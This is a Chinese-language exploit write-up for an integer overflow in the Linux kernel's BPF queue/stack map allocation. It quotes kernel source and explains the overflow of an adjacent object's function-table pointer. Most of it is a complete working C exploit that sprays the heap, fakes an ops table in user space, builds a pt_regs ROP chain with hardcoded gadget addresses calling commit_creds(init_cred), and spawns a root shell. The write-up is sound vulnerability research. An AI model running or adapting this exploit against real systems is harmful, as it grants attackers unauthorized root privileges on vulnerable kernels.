这个漏洞貌似没有CVE编号。
依然是根据bsauce大佬的思路进行复现。
说实话,看bsauce大佬的github,BPF模块的漏洞貌似挺多。
cpp
// /kernel/bpf/syscall.c
SYSCALL_DEFINE3(bpf, int, cmd, union bpf_attr __user *, uattr, unsigned int, size)
{
union bpf_attr attr = {};
int err;
if (sysctl_unprivileged_bpf_disabled && !capable(CAP_SYS_ADMIN))
return -EPERM;
err = bpf_check_uarg_tail_zero(uattr, sizeof(attr), size);
if (err)
return err;
size = min_t(u32, size, sizeof(attr));
/* copy attributes from user space, may be less than sizeof(bpf_attr) */
if (copy_from_user(&attr, uattr, size) != 0)
return -EFAULT;
err = security_bpf(cmd, &attr, size);
if (err < 0)
return err;
switch (cmd) {
case BPF_MAP_CREATE:
err = map_create(&attr);
break;
case BPF_MAP_LOOKUP_ELEM:
err = map_lookup_elem(&attr);
break;
case BPF_MAP_UPDATE_ELEM:
err = map_update_elem(&attr);
break;
... ...
case BPF_MAP_LOOKUP_AND_DELETE_ELEM:
err = map_lookup_and_delete_elem(&attr);
break;
default:
err = -EINVAL;
break;
}
return err;
}
cpp
static int map_create(union bpf_attr *attr)
{
map = find_and_alloc_map(attr);//根据map的类型分配空间,创建map结构体,并为其编号,以后利用编号寻找生成的map。
}
cpp
static struct bpf_map *find_and_alloc_map(union bpf_attr *attr)
{
..........................
map = ops->map_alloc(attr); //调用虚函数
.....................
}
cpp
static struct bpf_map *queue_stack_map_alloc(union bpf_attr *attr)
{
.....................
size = attr->max_entries + 1; // 会产生整数溢出
queue_size = sizeof(*qs) + (u64) value_size * size;
.........................
qs = bpf_map_area_alloc(queue_size, numa_node); // 申请过小的块
bpf_map_init_from_attr(&qs->map, attr); // 初始化函数
qs->map.pages = cost;
qs->size = size;
raw_spin_lock_init(&qs->lock);
return &qs->map;
}
这是主要的漏洞函数链
cpp
struct bpf_queue_stack {
struct bpf_map map;
raw_spinlock_t lock;
u32 head, tail;
u32 size; /* max_entries + 1 */
char elements[0] __aligned(8);
};
cpp
struct bpf_map {
/* The first two cachelines with read-mostly members of which some
* are also accessed in fast-path (e.g. ops, max_entries).
*/
const struct bpf_map_ops *ops ____cacheline_aligned;
struct bpf_map *inner_map_meta;
#ifdef CONFIG_SECURITY
void *security;
#endif
enum bpf_map_type map_type;
u32 key_size;
u32 value_size;
u32 max_entries;
u32 map_flags;
u32 pages;
u32 id;
int numa_node;
u32 btf_key_type_id;
u32 btf_value_type_id;
struct btf *btf;
bool unpriv_array;
/* 55 bytes hole */
/* The 3rd and 4th cacheline with misc members to avoid false sharing
* particularly with refcounting.
*/
struct user_struct *user ____cacheline_aligned;
atomic_t refcnt;
atomic_t usercnt;
struct work_struct work;
char name[BPF_OBJ_NAME_LEN];
};
cpp
union bpf_attr {
struct { /* 用于 BPF_MAP_CREATE 命令,添加bpf */
__u32 map_type; /* one of enum bpf_map_type */
__u32 key_size; /* size of key in bytes */
__u32 value_size; /* size of value in bytes */
__u32 max_entries; /* max number of entries in a map */
__u32 map_flags; /* BPF_MAP_CREATE related
* flags defined above.
*/
__u32 inner_map_fd; /* fd pointing to the inner map */
__u32 numa_node; /* numa node (effective only if
* BPF_F_NUMA_NODE is set).
*/
char map_name[BPF_OBJ_NAME_LEN];
__u32 map_ifindex; /* ifindex of netdev to create on */
__u32 btf_fd; /* fd pointing to a BTF type data */
__u32 btf_key_type_id; /* BTF type_id of the key */
__u32 btf_value_type_id; /* BTF type_id of the value */
};
struct { /* 用于 BPF_MAP_*_ELEM 命令,可编辑bpf */
__u32 map_fd;
__aligned_u64 key;
union {
__aligned_u64 value;
__aligned_u64 next_key;
};
__u64 flags;
};
这是两个比较重要的结构体。
很明显在max_entries+1发生了整数溢出。
所用的是kmalloc-256,考虑覆盖下一个堆块。很明显就是覆盖下一个bfp_queue_stack的函数表指针,没开smap,所以可以在用户空间伪造。
bsauce大佬是用'xchg eax,esp',但是这需要观察寄存器,而这个内核镜像'add rsp'这个gadget很足,所以我还是采用pt_regs这种打法。
cpp
#define _GNU_SOURCE
#define SPRAY_NUMBER 14
#include <signal.h>
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <sys/ioctl.h>
size_t victim[SPRAY_NUMBER];
void spray(){
int i;
for(i=0;i<SPRAY_NUMBER;i++){
victim[i] = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
}
return;
}
void get_shell(){
if(getuid()==0){
printf("[+] success!!!\n");
system("/bin/sh");
}
else{
printf("something wrong!!\n");
}
}
size_t commit_creds=0xffffffff810e3ab0;
size_t init_cred=0xffffffff8244c920;
size_t pop_rdi=0xffffffff810013b9;
size_t pppr=0xffffffff81013c05;
size_t restore=0xffffffff81c0097f;
int main(){
signal(SIGSEGV,get_shell);
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
long res = 0;
*(uint32_t*)0x200011c0 = 0x17;
*(uint32_t*)0x200011c4 = 0;
*(uint32_t*)0x200011c8 = 0x40;
*(uint32_t*)0x200011cc = -1;
*(uint32_t*)0x200011d0 = 0;
*(uint32_t*)0x200011d4 = -1;
*(uint32_t*)0x200011d8 = 0;
*(uint8_t*)0x200011dc = 0;
*(uint8_t*)0x200011dd = 0;
*(uint8_t*)0x200011de = 0;
*(uint8_t*)0x200011df = 0;
*(uint8_t*)0x200011e0 = 0;
*(uint8_t*)0x200011e1 = 0;
*(uint8_t*)0x200011e2 = 0;
*(uint8_t*)0x200011e3 = 0;
*(uint8_t*)0x200011e4 = 0;
*(uint8_t*)0x200011e5 = 0;
*(uint8_t*)0x200011e6 = 0;
*(uint8_t*)0x200011e7 = 0;
*(uint8_t*)0x200011e8 = 0;
*(uint8_t*)0x200011e9 = 0;
*(uint8_t*)0x200011ea = 0;
*(uint8_t*)0x200011eb = 0;
res = syscall(__NR_bpf, 0, 0x200011c0, 0x2c);
spray();
*(uint32_t*)0x200000c0 = res; // map_fd 根据BPF_MAP_CREATE返回的编号找到对应的bpf对象
*(uint64_t*)0x200000c8 = 0; // key
*(uint64_t*)0x200000d0 = 0x20000140; // value 输入的缓冲区
*(uint64_t*)0x200000d8 = 2; // flags = BPF_EXIST =2 以免错误返回
uint64_t* ptr = (uint64_t*)0x20000140;
size_t* fakestack=mmap((void *)0xa000000000,0x8000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
fakestack[2]=0xffffffff8129eeae;
ptr[0]=1;
ptr[1]=2;
ptr[2]=3;
ptr[3]=4;
ptr[4]=5;
ptr[5]=6;
ptr[6]=0xa000000000; //从偏移0x30才开始覆盖。虚表指针ops在开头,但bpf_queue_stack管理结构大小0xd0,但是申请空间时需0x100对齐,0x100-0xd0=0x30。
ptr[7]=8;
syscall(__NR_bpf, 2, 0x200000c0, 0x20);
int i=0;
for(;i<SPRAY_NUMBER;i++){
__asm__(
//"mov r15,0xdeadbeef;"
"mov r14,pop_rdi;"
"mov r13,init_cred;"
"mov r12,pppr;"
//"mov rbp,0xdeadbeef;"
"mov rbx,0xdeadbeef;"
//"mov r11,0xdeadbeef;"
"mov r10,commit_creds;"
"mov r9,restore;"
"mov r8,0xdeadbeef;"
);
close(victim[i]);
}
}
rbp这个寄存器不能修改,不然会报错说0xa00000010这个地址不能访问,r15能不能访问没去试,毕竟寄存器已经够用了。
直接运行的话会segmentfualt,不知道为什么,只能用signal来引导到system('/bin/sh')。